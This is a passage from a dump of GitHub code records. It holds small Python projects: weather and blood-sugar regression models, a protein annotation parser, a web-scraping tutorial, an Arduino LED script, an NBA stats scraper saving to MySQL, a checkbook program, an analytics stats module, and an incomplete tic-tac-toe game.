'UV_date', 'WSPD_date', \n                            'AVG_TEMP_Completeness', 'GSR_Completeness', 'RH_Completeness', 'SUN_Completeness', 'RF_Completeness', 'UV_Completeness', 'WSPD_Completeness'], axis=1)\n    return join_df\n\ndef DataPreprocessing(df: pd.DataFrame):\n    \n    df = df.drop('Date', axis=1)\n    df = df.astype(float)\n    \"\"\"\n    # Plot the relationship graph\n    for column in df.columns:\n        if column == 'GSR':\n            continue\n        plt.scatter(df[column], df['GSR'], s=1)\n        plt.xlabel(column)\n        plt.ylabel('GSR')\n        plt.show()\n    \"\"\"\n\n    # apply normalization techniques\n    for column in df.columns:\n        try:\n            df[column] = (df[column] - df[column].mean()) / df[column].std()\n        except:\n            logger.error(column + \" something wrong here\")\n            continue\n\n    # Get the correlation matrix\n    corr = df.corr()\n    logger.info(corr)\n\n    # Seperate x and y df\n    x_df = df.drop(['GSR', 'RH', 'RF', 'WSPD'], axis=1)\n    y_df = df['GSR']\n    # logger.info(x_df)\n    # logger.info(y_df)\n\n    # Split data into training and testing sets\n    x_train, x_test, y_train, y_test = train_test_split(x_df, y_df, test_size=0.3, random_state=0)\n    return x_train, x_test, y_train, y_test\n\ndef FindingOptimalDegree(x_train, x_test, y_train, y_test):\n    # check our accuracy for each degree, the lower the error the better!\n    number_degrees = range(1, 9)\n    plt_r2_train = []\n    plt_r2_test = []\n    for degree in number_degrees:\n\n        poly_model = PolynomialFeatures(degree=degree)\n        \n        x_train_poly = poly_model.fit_transform(x_train)\n        x_test_poly = poly_model.fit_transform(x_test)\n        poly_model.fit(x_train_poly, y_train)\n        \n        regression_model = LinearRegression()\n        regression_model.fit(x_train_poly, y_train)\n        y_train_predicted = regression_model.predict(x_train_poly)\n        y_test_predict = regression_model.predict(x_test_poly)\n\n        plt_r2_train.append(r2_score(y_train, y_train_predicted))\n        plt_r2_test.append(r2_score(y_test, y_test_predict))\n    \n    plt.scatter(number_degrees,plt_r2_train, color=\"green\")\n    plt.plot(number_degrees,plt_r2_train, color=\"blue\") \n    plt.scatter(number_degrees,plt_r2_test, color=\"gray\")\n    plt.plot(number_degrees,plt_r2_test, color=\"red\")\n    plt.xlabel(\"Degree\")\n    plt.ylabel(\"r2 score\")\n    plt.title(\"r2 score for each degree in GSR vs AVG_TEMP, SUN, UV\")\n    plt.legend([\"Train\", \"Train\", \"Test\", \"Test\"])\n    plt.show()\n\ndef PolynomialRegressionModel(x_train, x_test, y_train, y_test):\n    poly_model = PolynomialFeatures(degree=DEGREE)\n    x_train_poly = poly_model.fit_transform(x_train)\n    x_test_poly = poly_model.fit_transform(x_test)\n    poly_model.fit(x_train_poly, y_train)\n    lr = LinearRegression()\n    lr.fit(x_train_poly, y_train)\n    slope = lr.coef_\n    intercept = lr.intercept_\n    # logger.info(\"Slope: {}\".format(slope))\n    # logger.info(\"Intercept: {}\".format(intercept))\n    \n    # Train Model\n    poly_model.fit(x_train_poly, y_train)\n    # Use Linear Regression as the base\n    regression_model = LinearRegression()\n    regression_model.fit(x_train_poly, y_train)\n    # Predict\n    y_train_predicted = regression_model.predict(x_train_poly)\n    y_test_predict = regression_model.predict(x_test_poly)\n\n    # Plot the results -Train\n    plt.subplot(1,2,1)\n    r2_train = r2_score(y_train, y_train_predicted)\n    plt.scatter(y_train, y_train_predicted, s=1)\n    plt.xlabel(\"Actual\")\n    plt.ylabel(\"Predicted\")\n    plt.title(\"GSR Actual vs Predicted (Training) AVG_TEMP, SUN, UV\", y=1.04)\n    plt.title(f\"R2: {r2_train:.4f}\", loc='right', size=7)\n    plt.title(f\"Degree: {DEGREE}\", loc='left', size=7)\n    \n    # Plot the results -Test\n    plt.subplot(1,2,2)\n    r2_test = r2_score(y_test, y_test_predict)\n    plt.scatter(y_test, y_test_predict, s=1)\n    plt.xlabel(\"Actual\")\n    plt.ylabel(\"Predicted\")\n    plt.title(\"GSR Actual vs Predicted (Testing) AVG_TEMP, SUN, UV\", y=1.04)\n    plt.title(f\"R2: {r2_test:.4f}\", loc='right', size=7)\n    plt.title(f\"Degree: {DEGREE}\", loc='left', size=7)\n    plt.show()\n\ndef LinearRegressionModel(x_train, x_test, y_train, y_test):\n    lr = LinearRegression()\n    lr.fit(x_train, y_train)\n    slope = lr.coef_\n    intercept = lr.intercept_\n    logger.info(\"Slope: {}\".format(slope))\n    logger.info(\"Intercept: {}\".format(intercept))\n    \n    # Plot the results -Train\n    plt.subplot(1,2,1)\n    y_pred_train = lr.predict(x_train)\n    r2_train = r2_score(y_train, y_pred_train)\n    plt.scatter(y_train, y_pred_train, s=1)\n    plt.xlabel(\"Actual\")\n    plt.ylabel(\"Predicted\")\n    plt.title(\"Actual vs Predicted (Training)\", y=1.04)\n    plt.title(f\"R2: {r2_train:.4f}\", loc='right', size=7)\n    \n    # Plot the results -Test\n    plt.subplot(1,2,2)\n    y_pred_test = lr.predict(x_test)\n    r2_test = r2_score(y_test, y_pred_test)\n    plt.scatter(y_test, y_pred_test, s=1)\n    plt.xlabel(\"Actual\")\n    plt.ylabel(\"Predicted\")\n    plt.title(\"Actual vs Predicted (Testing)\", y=1.04)\n    plt.title(f\"R2: {r2_test:.4f}\", loc='right', size=7)\n    plt.show()\n\n\ndef main():\n    try:\n        AVG_TEMP_df = pd.read_csv(AVG_TEMP_DATA, parse_dates={'date':['Year', 'Month', 'Day']}, skiprows=[0,1])\n        GSR_df = pd.read_csv(GSR_DATA, parse_dates={'date':['Year', 'Month', 'Day']}, skiprows=[0,1])\n        RH_df = pd.read_csv(RH_DATA, parse_dates={'date':['Year', 'Month', 'Day']}, skiprows=[0,1])\n        SUN_df = pd.read_csv(SUN_DATA, parse_dates={'date':['Year', 'Month', 'Day']}, skiprows=[0,1])\n        RF_df = pd.read_csv(RF_DATA, parse_dates={'date':['Year', 'Month', 'Day']}, skiprows=[0,1])\n        UV_df = pd.read_csv(UV_DATA, parse_dates={'date':['Year', 'Month', 'Day']}, skiprows=[0,1])\n        WSPD_df = pd.read_csv(WSPD_DATA, parse_dates={'date':['Year', 'Month', 'Day']}, skiprows=[0,1])\n    except:\n        logger.error(\"Error reading data files\")\n        return\n\n    join_df = DataJoinning(AVG_TEMP_df, GSR_df, RH_df, SUN_df, RF_df, UV_df, WSPD_df)\n    logger.info(join_df.info())\n    logger.info(join_df.isnull().sum())\n    x_train, x_test, y_train, y_test = DataPreprocessing(join_df)\n    # FindingOptimalDegree(x_train, x_test, y_train, y_test)\n    PolynomialRegressionModel(x_train, x_test, y_train, y_test)\n    # LinearRegressionModel(x_train, x_test, y_train, y_test)\n\nif __name__ == \"__main__\":\n    main()","repo_name":"Argonaut790/Global-Solar-Radiation-in-King-s-Park","sub_path":"src/pd/multivar.py","file_name":"multivar.py","file_ext":"py","file_size_in_byte":8741,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"55"}
+{"seq_id":"72025787051","text":"import os\nimport re\nimport csv\nimport argparse\nimport glob\nfrom pathlib import Path\n\n#Parse commandline arguments\nparser = argparse.ArgumentParser()\nparser.add_argument('-p', '--proteins', help='path to a fasta file containing protein sequences, (default = \"*.proteins.fasta\" file in script directory)')\nparser.add_argument('-i', '--interproscan', help='path to an interproscan.out file (default = \"*.interproscan.tsv\" file in script directory)')\nparser.add_argument('-o', '--output', help='path and name of output file (default = searchterm.fasta)')\nparser.add_argument('-s', '--searchterm', help='a string of what you are looking for (default = amylase)')\nparser.add_argument('-d', '--database', help='limit hits to certain database (pfam, tmhmm, panther, prosite, mobidb, signalp, prints, prodom)')\nparser.add_argument('-n', '--nooutputfile', action='store_true', help='prevents the creation of an output file and only prints results to the terminal')\nargs = parser.parse_args()\n\nif args.interproscan:\n    interproscan_file = Path(args.interproscan)\nelse:\n    interproscan_file_name = '*interproscan.tsv'\n    interproscan_file_path = os.path.join(os.getcwd(), interproscan_file_name)\n    for element in glob.glob(interproscan_file_path):\n        interproscan_file = Path(element)\n\nif args.proteins:\n    proteins_file = Path(args.proteins)\nelse:\n    proteins_file_name = '*proteins.fasta'\n    proteins_file_path = os.path.join(os.getcwd(), proteins_file_name)\n    for element in glob.glob(proteins_file_path):\n        proteins_file = Path(element)\n\nif args.searchterm:\n    searchterm = args.searchterm\nelse:\n    searchterm = 'amylase'\n\nif args.output:\n    output_file = Path(args.output)\nelif args.searchterm:\n    output_file_name = searchterm+'.fasta'\n    output_file = Path(os.path.join(os.getcwd(), output_file_name))\nelse:\n    output_file = Path(os.path.join(os.getcwd(),'amylase.fasta'))\n\nif args.database:\n    print('Limiting output to', args.database, 'hits')\n    database = args.database.lower()\n\nproteins = {}\ninterproscan = {}\noutput = {}\n\n#If file with same outputname exists, delete it first\nif os.path.isfile(output_file):\n    os.unlink(output_file)\n\nprint(\"Parsing protein file\")\nwith open(proteins_file) as file:\n    input = file.read().splitlines()\n    for line in input:\n        if not line.strip(): continue\n        if line[0] == '>':\n            name = line[1:]\n            proteins[name] = ''\n        else:\n            proteins[name] += line\nprint(\"Finished parsing protein file\")\n\nprint(\"Parsing interproscan file\")\nwith open(interproscan_file) as file:\n    input = csv.reader(file, delimiter='\\t')\n    for line in input:\n        proteinID = line[0]\n        lineString = str(line)\n        lineString = lineString.lower()\n        if args.database:\n            if searchterm in lineString and database in lineString:\n                output[proteinID] = proteins[proteinID]\n                interproscan[proteinID] = line\n        else:\n            if searchterm in lineString:\n                output[proteinID] = proteins[proteinID]\n                interproscan[proteinID] = line\nprint(\"Finished parsing protein file\")\nprint('================================================================')\nprint('looking for interproscan hits to:', searchterm)\nprint('================================================================')\nprint('found',len(output),'hits:')  \nprint('')\n\nfor key, value in output.items():\n    if interproscan[key][3] == 'PANTHER':\n        print(key, ':', interproscan[key][3],':', interproscan[key][12])\n    else:\n        print(key, ':', interproscan[key][3],':', interproscan[key][5])\n\n    #only create output file if '-n' flag is not set\n    if not args.nooutputfile:\n        print('>'+key, '\\n'+value, file=open(output_file,'a'))","repo_name":"JWDebler/interproscan_parse","sub_path":"interproscan_parse.py","file_name":"interproscan_parse.py","file_ext":"py","file_size_in_byte":3766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"31442625925","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nimport bs4\n\n# 使用 lxml 解析\n\n\"\"\"\nfrom_encoding='编码格式' 可以手动设置来源编码\n\"\"\"\n\n# soup = bs4.BeautifulSoup(open('alice.html', 'r').read(), 'lxml')\n# soup = bs4.BeautifulSoup(open('alice_big5.html'), 'lxml')    # 可以直接传入 fileobj 代替字符串\nsoup = bs4.BeautifulSoup(open('alice.html'), 'lxml', from_encoding='utf-8')  # 手动设置来源编码\n\n# print(soup.title)\n\n\n\n\"\"\"\n子节点：tag的.contents属性可以将tag的子节点以列表的方式输出\n\"\"\"\n# head_tag = soup.head\n# print(head_tag.contents)\n# title_tag = head_tag.contents[0]\n# print(title_tag.contents)\n\n\"\"\" 子节点\ntag 的 .children 生成器，可以对tag 的子节点进行循环\n\"\"\"\n# for child in title_tag.children:\n#     print(child)\n\n\"\"\" 子节点和孙节点\n子孙节点： tag 的 .descendants 属性可以将 tag 的子孙记得点一列表方式输出\n\"\"\"\n# for child in head_tag.descendants:\n#     print(child)\n\n\n\"\"\" 找到 tag 下的所有文本内容\n1. 如果该 tag 只有一个子节点（ NavigableString 类型 ）： 直接使用 `tag.string` 就能找到。\n2. 如果 tag 有很多个子、孙节点，并且每个节点里都有 sting，我肯可以使用迭代的方式将其全部找出\n\"\"\"\n\nfor string in soup.strings:\n    print(repr(string))\n\n\n\"\"\" Beautiful Soup 4.2.0 中文文档\nhttps://www.crummy.com/software/BeautifulSoup/bs4/doc.zh/\n\"\"\"","repo_name":"tangx/python36project","sub_path":"python36crawler/02_beautifule_模块/02_lxml解析alice.py","file_name":"02_lxml解析alice.py","file_ext":"py","file_size_in_byte":1421,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"5843114430","text":"from pyfirmata import Arduino\nimport time\n\nboard = Arduino(\"/dev/ttyACM0\") #Puerto de la placa Arduino Leonardo\n\n\nwhile True:\n\n    numpuerto = int(input('Que LED quiere encender: '))\n    if (numpuerto == 13):  \n        board.digital[13].write(1)\n        print (\"Encendiendo Puerto \", numpuerto)\n        time.sleep(0.2)\n        break\n    if (numpuerto == 12):\n        board.digital[12].write(1)\n        print (\"Encendiendo Puerto \", numpuerto)\n        time.sleep(0.2)\n        break\nwhile True:\n    n = int(input('Desea apagar el LED? '))\n    if (n ==1):\n        board.digital[13].write(0)\n        board.digital[12].write(0)\n        print(\"Adios.\")\n        break","repo_name":"IgnacioTouz/PF_testcode","sub_path":"test2-Arduino-Firmata.py","file_name":"test2-Arduino-Firmata.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"4432876551","text":"import requests\nimport os\nfrom bs4 import BeautifulSoup\nfrom ast import literal_eval\nimport mysql.connector\nimport time\n\ndef convert(val):\n    try:\n        return literal_eval(val)\n    except:\n        return val\n    \nkeep_indices = [1, 4, 5, 15]\n\ndef format_row(row_list):\n    formatted_row = [convert(row_list[index]) for index in keep_indices]\n    return formatted_row\n    \n# get group (page) urls\nURL = 'https://stats.inpredictable.com/nba/ssnPlayer.php'\npage = requests.get(URL)\nsoup = BeautifulSoup(page.content, \"html.parser\")\nfilter_group = soup.find(\"div\", class_=\"slbl\")\ngroups = filter_group.find_all(\"a\", href=True)\ngroup_urls = [URL]\nfor group in groups:\n    url = group['href']\n    group_urls.append(url)\n    \nplayer_data = []\n\nprint('Beginning wpa scrapeage...\\n_________________________________________')\n    \nfor group_url in group_urls:\n    print('Scraping', group_url, '...')\n    page = requests.get(group_url)\n    if not page:\n        print('Something went wrong getting page', group_url)\n    soup = BeautifulSoup(page.content, \"html.parser\")\n    table = soup.find(\"table\")\n    tbody = table.find(\"tbody\")\n    table_rows = tbody.find_all(\"tr\")\n    for row in table_rows:\n        player_fields = []\n        fields_list = row.find_all(\"td\")\n        # non-header rows\n        if len(fields_list) > 2:\n            counter = 1\n            for field in fields_list:\n                if counter > 16:\n                    break\n                player_fields.append(field.text.replace('−', '-'))\n                counter+=1\n            player_data.append(format_row(player_fields))\n    time.sleep(1)\n\n# Query\ninsert_player_data_query = \"\"\"\nINSERT INTO wpa_2024 \n    (PLAYER_NAME,\n    WPA,\n    E_WPA,\n    K_WPA) VALUES (%s, %s, %s, %s)\nON DUPLICATE KEY UPDATE \n    PLAYER_NAME=VALUES(PLAYER_NAME),\n    WPA=VALUES(WPA),\n    E_WPA=VALUES(E_WPA),\n    K_WPA=VALUES(K_WPA)\n\"\"\"    \n\n# Establish MySQL DB Connection\ntry:\n    connection = mysql.connector.connect(\n        host=\"localhost\",\n        user=os.environ.get('MYSQL_DB_USER'),\n        password=os.environ.get('MYSQL_DB_PASS'),\n        database=\"jokic\"\n    )\nexcept mysql.connector.Error as e:\n    print(e)\ncursor = connection.cursor()\n\n# Update wpa table\ntry:\n    cursor.executemany(insert_player_data_query, player_data)\n    connection.commit()\n    print('Inserted data into wpa successfully', player_data)\nexcept mysql.connector.Error as e:\n    print('Could not insert player data into wpa:', e)\n\nconnection.close()","repo_name":"Xubu6/jokic","sub_path":"api/src/data/scripts/wpa.py","file_name":"wpa.py","file_ext":"py","file_size_in_byte":2477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"13822469503","text":"\n\n# BELOW ARE THE 3 FUNCTIONS USED IN LAST 'WHILE' LOOP\n\n# account_balance function \ndef account_balance():\n    with open('trust_bank.txt','r') as t: #opens text file in read only mode\n        balance = float(t.read()) #converts string to number float\n    print(f'Your current balance is: $ {balance}')\n\n\n# deposit function\ndef deposit(): #add_credit\n    amount = input('Enter the amount to deposit: ') #user will enter a number to deposit\n    if not amount.isnumeric(): #checking for number input\n        print('Invalid input. Please enter a positive number.')\n        deposit()\n        return\n    amount = float(amount) #turns the input string into a number float\n    if amount < 0: #checking if number is less than 0\n        print('Invalid input. Cannot Deposit Negative Amount.')\n        deposit()\n        return\n    with open('trust_bank.txt','r') as t: #opens text file in read only. t is alias for this txt file\n        balance = float(t.read()) #converts txt string to number float\n    balance += amount #if all conditions are met above, will subtract amount from balance\n    with open('trust_bank.txt','w') as t: #opens text file in write mode\n        t.write(str(balance)) #will write over previous balance and save in text file\n    print(f'Deposit successful. Your new balance is: $ {balance}')\n\n\n# withdrawal funtion\ndef withdrawal(): #add_debit\n    amount = input('Enter the amount to withdraw: ') #user will enter a number to withdraw\n    if not amount.isnumeric(): #checking for number input\n        print('Invalid input. Please enter a positive number.')\n        withdrawal()\n        return\n    amount = float(amount) #turns the input string into a number float\n    if amount < 0: #checking if number is less than 0\n        print('Invalid input. Cannot Withdraw Negative Amount.')\n        withdrawal()\n        return\n    with open('trust_bank.txt','r') as t: #opens text file in read only. t is alias for this txt file\n        balance = float(t.read()) #converts txt string to number float\n    if amount > balance: #checking if amt entered is more than the current balance\n        print('Insufficient Funds.')\n        return\n    balance -= amount #if all conditions are met above, will subtract amount from balance\n    with open('trust_bank.txt','w') as t: #opens text file in write mode\n        t.write(str(balance)) #will write over previous balance and save in text file\n    print(f'Withdrawal successful. Your new balance is: $ {balance}')\n\n# exit_program function\ndef exit_program():\n    global active_program\n    active_program = False\n    \n\n\n# BELOW is the program\n\nactive_program = True\n\nprint(\"-\")\nprint(\"Welcome to A Bank You Can Trust!\")\nprint(\"-\")\n\nwhile active_program:\n    username = input(\"Enter your 4 digit pin: \")\n    if len(username) == 4 and username.isdigit():\n        break\n    else:\n        print(\"Invalid entry. Please enter 4 digit pin.\")\n        \nwhile active_program:\n    print(\"\"\"\n    Available Options Below:\n    1) check current balance\n    2) record a credit(deposit)\n    3) record a debit(withdrawal)\n    4) exit\n    \"\"\")\n    \n    while active_program:\n        user_option = input(\"What Would You Like To Do Today? \")\n        if user_option == \"1\":\n            account_balance()\n        elif user_option == \"2\":\n            deposit()\n        elif user_option == \"3\":\n            withdrawal()\n        elif user_option == \"4\":\n            exit_program()\n            print(\"Thank you for trusting A Bank You Can Trust!\")     \n        else:\n            print(\"Invalid Entry\")\n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"manuel-salazar1/checkbook_project","sub_path":"trust_bank.py","file_name":"trust_bank.py","file_ext":"py","file_size_in_byte":3554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"36336473045","text":"# 체중과 나이로 혈당 예측\nimport numpy as np\ndataset = np.loadtxt(\"blood.csv\",delimiter=\",\", dtype=np.float32)\n# print(dataset.shape)\n# print(dataset)\nx_data = np.array( dataset[:, 1])       # 체중\ny_data = np.array( dataset[:, 2])       # 나이\nz_data = np.array( dataset[:, 3])       # 혈당\n#print(z_data)\n#print(z_data.shape)         # (130, )\nimport matplotlib.pyplot as plt\n# fig = plt.figure( figsize = (5, 5))\n# ax = fig.add_subplot(1, 1, 1, projection=\"3d\")\n# ax.scatter(x_data, y_data, z_data)\n# ax.set_xlabel(\"weight\")\n# ax.set_ylabel(\"age\")\n# ax.set_zlabel(\"blood\")\n# plt.show()\n\ntrain = np.array( dataset[:, 1:3], dtype=np.float32)    # 독립변수        몸무게 나이\nlabel = np.array( dataset[:, 3], dtype=np.float32)      # 종속변수         혈당치\n\nfrom tensorflow import keras \nrmsprop = keras.optimizers.RMSprop( lr = 0.01 )\nmodel = keras.Sequential()\nmodel.add(keras.layers.Dense(1, input_shape=(2, )))\nmodel.compile( loss=\"mse\" , optimizer = rmsprop )\n#print(model.summary())\n\nstop = keras.callbacks.EarlyStopping(monitor = \"val_loss\", patience = 5)\nhist = model.fit(train, label, epochs=250, validation_split=0.2, callbacks=[stop])\n\n# print(hist.history.keys())\n# plt.plot(hist.history[\"loss\"])\n# plt.xlabel(\"epochs\")\n# plt.ylabel(\"loss\")\n# plt.show()\n\nW, b = model.get_weights()\nprint(W,b)\n\nx= np.linspace(20, 100, 50 ).reshape(50,1)  # 체중\ny = np.linspace(10, 70, 50).reshape(50, 1) # 나이\ntest = np.concatenate((x,y), axis=1)\nz = np.matmul( test, W) + b\n\nfig = plt.figure(figsize = (5,5 ))\nax = fig.add_subplot(1, 1, 1, projection=\"3d\")\nax.scatter(x, y , z)\nax.scatter(x_data, y_data, z_data)\nax.set_xlabel(\"weight\")\nax.set_ylabel(\"age\")\nax.set_zlabel(\"blood\")\nplt.show()\n","repo_name":"DHKim223/TensorflowEx","sub_path":"dl/blood.py","file_name":"blood.py","file_ext":"py","file_size_in_byte":1727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"3862362521","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*\n\"\"\"\n.. $Id$\n\"\"\"\n\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import absolute_import\n\nfrom zope import interface\n\nfrom zope.cachedescriptors.property import Lazy\n\nfrom nti.analytics.stats.interfaces import IStats\nfrom nti.analytics.stats.interfaces import IAnalyticsStatsSource\n\nfrom nti.analytics_registration.registration import get_user_registrations\nfrom nti.analytics_registration.registration import get_all_survey_questions\n\nlogger = __import__('logging').getLogger(__name__)\n\n\n@interface.implementer(IStats)\nclass _RegistrationStats(object):\n\n    def __init__(self, record):\n        self.phone = record.phone\n        self.school = record.school\n        self.grade_teaching = record.grade_teaching\n        self.curriculum = record.curriculum\n        self.employee_id = str(record.employee_id)\n        self.session_range = record.session_range\n\n\ndef _get_question_key(question_id):\n    # Remove whitespace\n    result = '_'.join(question_id.split())\n    return result\n\n\n@interface.implementer(IStats)\nclass _SurveyStats(object):\n\n    def __init__(self, survey_version, results, possible_questions):\n        self.survey_version = survey_version\n        seen = set()\n        possible_questions = {_get_question_key(x) for x in possible_questions}\n        for survey_question in results:\n            var = _get_question_key(survey_question.question_id)\n            seen.add(var)\n            response = survey_question.response\n            if isinstance(response, list):\n                # Make sure our list response is readable.\n                response = ', '.join(str(x) for x in response)\n            setattr(self, var, response)\n        # Make sure we have placeholder values for user.\n        no_responses = possible_questions - seen\n        for no_response in no_responses:\n            setattr(self, no_response, '')\n\n\n@interface.implementer(IAnalyticsStatsSource)\nclass _RegistrationStatsSource(object):\n    \"\"\"\n    For a user's registration, build stats for registration and\n    registration survey.\n    \"\"\"\n\n    __external_class_name__ = \"AnalyticsRegistrationStatsSource\"\n    mime_type = mimeType = 'application/vnd.nextthought.analytics_registration.registrationstatssource'\n\n    display_name = 'Registration'\n\n    def __init__(self, user, course=None):\n        self.user = user\n        self.course = course\n\n    @Lazy\n    def _registrations(self):\n        records = get_user_registrations(user=self.user, course=self.course)\n        return records[0] if records else None\n\n    @Lazy\n    def RegistrationStats(self):\n        registration = self._registrations\n        result = None\n        if registration is not None:\n            result = _RegistrationStats(registration)\n        return result\n\n    @Lazy\n    def RegistrationSurveyStats(self):\n        registration = self._registrations\n        result = None\n        # pylint: disable=no-member\n        if registration is not None and registration.survey_submission:\n            survey_submission = registration.survey_submission[0]\n            survey_results = survey_submission.details\n            all_questions = get_all_survey_questions(registration)\n            survey_version = survey_submission.survey_version\n            result = _SurveyStats(survey_version, survey_results, \n                                  all_questions)\n        return result\n","repo_name":"OpenNTI/nti.analytics_registration","sub_path":"src/nti/analytics_registration/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":3405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"19756133435","text":"from random import randint\n\n\ndef TicTacToeGame():\n    \n    print(\"Welcome to Tic Tac Toe Game\\n\")\n    Board = [[\" \", \" \", \" \"],\n             [\" \",\" \",\" \"],\n             [\" \",\" \",\" \"]]\n    \n    DrawBoard(Board)\n    \n    goesFirst = randint(1,2)\n    \n    #HUMAN GOES FIRST\n    if goesFirst == 1:\n        print(\"\\nHuman Player goes first.\\nMake your choice\")\n        Tag = 'X'\n        while True:\n            while True:\n                ChoiceOfHumanPlayer = HumanPlayer(Tag, Board)\n                isFree = IsSpaceFree(ChoiceOfHumanPlayer, Board)\n                if isFree != 0: \n                    print(\"Space is taken, try again\")\n                else:\n                    UpdateBoard(ChoiceOfHumanPlayer, Board, Tag)\n                    break\n            \n            print(\"\\nHuman Player(X) has made the choice\\n\")\n            DrawBoard(Board)\n            Outcome = Judge(Board)\n            ShowOutcome(Outcome)\n            \n            if Outcome == 1 or Outcome == 2 or Outcome == 3:\n                break\n            \n            TagTwo= \"O\"\n            while True:\n                ChoiceOfComputerPlayer = ComputerPlayer(TagTwo, Board)\n                isFree = IsSpaceFree(ChoiceOfComputerPlayer, Board)\n                if isFree == 0: \n                    UpdateBoard(ChoiceOfComputerPlayer, Board, TagTwo)\n                    break\n            \n            print(\"Computer Player(O) has made the choice\\n\")\n            DrawBoard(Board)\n            Outcome = Judge(Board)\n            ShowOutcome(Outcome)\n            \n            if Outcome == 1 or Outcome == 2 or Outcome == 3:\n                break\n            \n    #COMPUTER IS FIRST\n    if goesFirst == 2:\n        print(\"\\nComputer Player goes first.\\n\")\n        Tag = 'X'\n        while True:\n            while True:\n                ChoiceOfComputerPlayer = ComputerPlayer(Tag, Board)\n                isFree = IsSpaceFree(ChoiceOfComputerPlayer, Board)\n                if isFree == 0: \n                    UpdateBoard(ChoiceOfComputerPlayer, Board, Tag)\n                    break\n            print(\"Computer Player(X) has made the choice\\n\")\n            DrawBoard(Board) \n            Outcome = Judge(Board)\n            ShowOutcome(Outcome)\n            \n            if Outcome == 1 or Outcome == 2 or Outcome == 3:\n                break\n            \n            TagTwo= \"O\"\n            print(\"\\nMake Your Choice\")\n            while True:\n                ChoiceOfHumanPlayer = HumanPlayer(TagTwo, Board)\n                isFree = IsSpaceFree(ChoiceOfHumanPlayer, Board)\n                if isFree != 0: \n                    print(\"Space is taken, try again\\n\")\n                else:\n                    UpdateBoard(ChoiceOfHumanPlayer, Board, TagTwo)\n                    break\n            \n            print(\"\\nHuman Player(O) has made the choice\")\n            DrawBoard(Board) \n            Outcome = Judge(Board)\n            ShowOutcome(Outcome)\n            \n            if Outcome == 1 or Outcome == 2 or Outcome == 3:\n                break\n\ndef HumanPlayer(Tag, Board):  \n    while True:\n        row = input(\"row = \")\n        if (row == \"1\") or (row == \"2\") or (row == \"3\"):\n            break\n        else:\n            print(\"Oops, that is not a valid number, try again\")\n    \n    while True:\n        col = input(\"col = \")\n        if (col == \"1\") or (col == \"2\") or (col == \"3\"):\n            break\n        else:\n            print(\"\\nOops, that is not a valid number, try again\")  \n    intRow = int(row)\n    intCol = int(col)\n    intRow -= 1\n    intCol -= 1\n    \n    ChoiceOfHumanPlayer = (intRow, intCol)\n    \n    return ChoiceOfHumanPlayer\n\ndef ComputerPlayer(Tag, Board):\n    compRand = randint(0,2)\n    compRow = compRand\n    compRand1 = randint(0,2)\n    compColumn = compRand1\n    ChoiceOfComputerPlayer = (compRow, compColumn)\n    \n    return ChoiceOfComputerPlayer            \n    \ndef DrawBoard(Board):\n    print(Board[0][0] + \" | \" + Board [0][1] + \" | \" + Board[0][2])\n    print(\"---------\")\n    print(Board[1][0] + \" | \" + Board [1][1] + \" | \" + Board[1][2]) \n    print(\"---------\")\n    print(Board[2][0] + \" | \" + Board [2][1] + \" | \" + Board[2][2])\n    \ndef UpdateBoard(ChoiceOfPlayer, Board, Tag):\n        Board[ChoiceOfPlayer[0]][ChoiceOfPlayer[1]] = Tag\n\ndef IsSpaceFree(ChoiceOfPlayer, Board):\n    if (Board[ChoiceOfPlayer[0]][ChoiceOfPlayer[1]] == \" \"):\n        return 0\n    else:\n        return 1\n\ndef Judge(Board):\n    #If X Wins\n    if Board[0][0] == Board[1][1] == Board[2][2] == 'X': #DiagLeftToRight\n        Outcome = 1\n        return Outcome\n    elif Board[0][0] == Board[0][1] == Board[0][2] == 'X': #AcrossTop\n        Outcome = 1\n        return Outcome\n    elif Board[0][0] == Board[1][0] == Board[2][0] == 'X': #DownLeft\n        Outcome = 1\n        return Outcome\n    elif Board[0][1] == Board[1][1] == Board[2][1] == 'X': #DownMiddle\n        Outcome = 1\n        return Outcome\n    elif Board[0][2] == Board[1][2] == Board[2][2] == 'X': #DownRight\n        Outcome = 1\n        return Outcome\n    elif Board[1][0] == Board[1][1] == Board[1][2] == 'X': #AcrossMiddle\n        Outcome = 1\n        return Outcome\n    elif Board[2][0] == Board[2][1] == Board[2][2] == 'X': #Across Bottom\n        Outcome = 1\n        return Outcome\n    elif Board[2][0] == Board[1][1] == Board[0][2] == 'X': #DiagBotleftToTopRight\n        Outcome = 1\n        return Outcome\n    \n    #If O Wins\n    elif Board[0][0] == Board[1][1] == Board[2][2] == 'O': #DiagLeftToRight\n        Outcome = 2\n        return Outcome\n    elif Board[0][0] == Board[0][1] == Board[0][2] == 'O': #AcrossTop\n        Outcome = 2\n        return Outcome\n    elif Board[0][0] == Board[1][0] == Board[2][0] == 'O': #DownLeft\n        Outcome = 2\n        return Outcome\n    elif Board[0][1] == Board[1][1] == Board[2][1] == 'O': #DownMiddle\n        Outcome = 2\n        return Outcome\n    elif Board[0][2] == Board[1][2] == Board[2][2] == 'O': #DownRight\n        Outcome = 2\n        return Outcome\n    elif Board[1][0] == Board[1][1] == Board[1][2] == 'O': #AcrossMiddle\n        Outcome = 2\n        return Outcome\n    elif Board[2][0] == Board[2][1] == Board[2][2] == 'O': #Across Bottom\n        Outcome = 2\n        return Outcome\n    elif Board[2][0] == Board[1][1] == Board[0][2] == 'O': #DiagBotleftToTopRight\n        Outcome = 2\n        return Outcome\n    \n    counter = IsBoardFull(Board)\n    \n  